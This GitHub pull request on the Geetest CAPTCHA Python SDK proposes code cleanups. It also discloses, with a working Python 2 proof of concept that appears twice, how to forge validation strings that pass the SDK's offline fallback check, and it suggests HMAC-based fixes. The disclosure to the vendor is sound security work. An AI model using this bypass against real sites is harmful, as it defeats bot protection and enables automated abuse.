Skip to content

Comments

代码美化#15

Open
ficapy wants to merge 1 commit intoGeeTeam:masterfrom
ficapy:master
Open

代码美化#15
ficapy wants to merge 1 commit intoGeeTeam:masterfrom
ficapy:master

Conversation

@ficapy
Copy link

@ficapy ficapy commented May 9, 2016

代码美化:

  1. 由于链接开启了keep-alive,使用request的session自动管理功能提升效率
  2. 使用更直观的随机数生成函数
  3. user_id={user_id}作为一个后台开发人员,此处user_id设置为空明显是能够正常处理的,无必要写成2个url
  4. requests.codes.ok 优化请求异常逻辑
  5. 优化_decode_response逻辑

建议:

最大的劣势,如若使用了离线验证逻辑。毫无安全性可言(以下为python2示例)。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import random
from hashlib import md5


def _md5_encode(values):
    if type(values) == str:
        values = values.encode()
    return md5(values).hexdigest()


def _validate_fail_image(full_bg_index, img_grp_index):
    full_bg_name = str(_md5_encode(str(full_bg_index)))[0:10]
    bg_name = str(_md5_encode(str(img_grp_index)))[10:20]
    answer_decode = ""
    for i in range(9):
        if i % 2:
            answer_decode += bg_name[i]
        else:
            answer_decode += full_bg_name[i]

    x_int = int(answer_decode[4:], 16) % 200
    if x_int < 40:
        x_int = 40
    return x_int


def _decode_rand_base(challenge):
    temp_array = []
    for i in challenge[32:]:
        temp_ascii = ord(i)
        result = temp_ascii - 87 if temp_ascii > 57 else temp_ascii - 48
        temp_array.append(result)
    return temp_array[0] * 36 + temp_array[1]


def _decode_response(challenge, userresponse):
    if len(userresponse) > 100:
        return 0
    num = (1, 2, 5, 10, 50)
    temp = ''.join(sorted(set(challenge), key=lambda x: challenge.find(x)))
    res = sum(map(lambda i: num[temp.find(i) % 5] if i in temp else 0, userresponse))
    return res - _decode_rand_base(challenge)


def hack(value, challenge):
    num = (1, 2, 5, 10, 50)
    temp = ''.join(sorted(set(challenge), key=lambda x: challenge.find(x)))[:5]
    count, ret = 0, ''
    while 1:
        choice = random.choice(num)
        select = temp[num.index(choice)]
        if abs(count + choice - value) > 3 and count + choice < value + 3:
            ret += select
            count += choice
        elif abs(count + choice - value) < 3:
            return ret + select


if __name__ == '__main__':
    challenge = os.urandom(17).encode('hex')
    fbii = os.urandom(4).encode('hex')
    igi = os.urandom(4).encode('hex')
    value = _validate_fail_image(_decode_response(challenge, fbii),
                                 _decode_response(challenge, igi)) + _decode_rand_base(challenge)

    v = '_'.join([hack(value, challenge), fbii, igi])
    from geetest import GeetestLib

    a = GeetestLib('1', '1')
    print a.failback_validate(challenge, v, '1')
  1. 你们的离线逻辑也非常奇怪,是指服务器后台第一次请求 http://api.geetest.com 无正常返回则判定为使用离线模式。可是在web端又有一次请求 http://api.geetest.com 这明显是不科学的。此处正常应该依旧使用线上逻辑,由线上判定是否有效返回结果,后台也走同样的线上验证逻辑,如此才能提高安全性。
  2. pre_process返回的状态为0或者1,如果被当做cookies使用能够被篡改。最为一个SDK应该直接处理掉这种情况,使用诸如0+20个随机数+HMAC(private_key,20个随机数)这种更安全的实现
  3. 对于二次验证逻辑。后台发送http请求调用第三方sdk会造成性能的降低。现在的逻辑是用户在web端验证成功后极验证会返回一个验证字符(和用户private_key想关联),此处不如改成HMAC验证码,添加时间信息设置三秒有效,这样能达到同样的效果且防止重放攻击最重要的是不必要发送二次验证请求

@Freamerhxl
Copy link
Contributor

好的 谢谢您的意见

发自我的 iPhone

在 2016年5月10日,00:12,Ficapy <notifications@github.commailto:notifications@github.com> 写道:

代码美化:

  1. 由于链接开启了keep-alive,使用request的session自动管理功能提升效率
  2. 使用更直观的随机数生成函数
  3. user_id={user_id}作为一个后台开发人员,此处user_id设置为空明显是能够正常处理的,无必要写成2个url
  4. requests.codes.ok 优化请求异常逻辑
  5. 优化_decode_response逻辑

建议:
最大的劣势,如若使用了离线验证逻辑。毫无安全性可言(以下为python2示例)。

#!/usr/bin/env python

-- coding: utf-8 --

import os
import random
from hashlib import md5

def _md5_encode(values):
if type(values) == str:
values = values.encode()
return md5(values).hexdigest()

def _validate_fail_image(full_bg_index, img_grp_index):
full_bg_name = str(_md5_encode(str(full_bg_index)))[0:10]
bg_name = str(_md5_encode(str(img_grp_index)))[10:20]
answer_decode = ""
for i in range(9):
if i % 2:
answer_decode += bg_name[i]
else:
answer_decode += full_bg_name[i]

x_int = int(answer_decode[4:], 16) % 200
if x_int < 40:
    x_int = 40
return x_int

def _decode_rand_base(challenge):
temp_array = []
for i in challenge[32:]:
temp_ascii = ord(i)
result = temp_ascii - 87 if temp_ascii > 57 else temp_ascii - 48
temp_array.append(result)
return temp_array[0] * 36 + temp_array[1]

def _decode_response(challenge, userresponse):
if len(userresponse) > 100:
return 0
num = (1, 2, 5, 10, 50)
temp = ''.join(sorted(set(challenge), key=lambda x: challenge.find(x)))
res = sum(map(lambda i: num[temp.find(i) % 5] if i in temp else 0, userresponse))
return res - _decode_rand_base(challenge)

def hack(value, challenge):
num = (1, 2, 5, 10, 50)
temp = ''.join(sorted(set(challenge), key=lambda x: challenge.find(x)))[:5]
count, ret = 0, ''
while 1:
choice = random.choice(num)
select = temp[num.index(choice)]
if abs(count + choice - value) > 3 and count + choice < value + 3:
ret += select
count += choice
elif abs(count + choice - value) < 3:
return ret + select

if name == 'main':
challenge = os.urandom(17).encode('hex')
fbii = os.urandom(4).encode('hex')
igi = os.urandom(4).encode('hex')
value = _validate_fail_image(_decode_response(challenge, fbii),
_decode_response(challenge, igi)) + _decode_rand_base(challenge)

v = '_'.join([hack(value, challenge), fbii, igi])
from geetest import GeetestLib

a = GeetestLib('1', '1')
print a.failback_validate(challenge, v, '1')
  1. 你们的离线逻辑也非常奇怪,是指服务器后台第一次请求 http://api.geetest.com 无正常返回则判定为使用离线模式。可是在web端又有一次请求 http://api.geetest.com 这明显是不科学的。此处正常应该依旧使用线上逻辑,由线上判定是否有效返回结果,后台也走同样的线上验证逻辑,如此才能提高安全性。
  2. pre_process返回的状态为0或者1,如果被当做cookies使用能够被篡改。最为一个SDK应该直接处理掉这种情况,使用诸如0+20个随机数+HMAC(private_key,20个随机数)这种更安全的实现
  3. 对于二次验证逻辑。后台发送http请求调用第三方sdk会造成性能的降低。现在的逻辑是用户在web端验证成功后极验证会返回一个验证字符(和用户private_key想关联),此处不如改成HMAC验证码,添加时间信息设置三秒有效,这样能达到同样的效果且防止重放攻击最重要的是不必要发送二次验证请求

You can view, comment on, or merge this pull request online at:

#15

Commit Summary

  • 代码美化

File Changes

Patch Links:


You are receiving this because you are subscribed to this thread.
Reply to this email directly or view it on GitHubhttps://github.com//pull/15

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants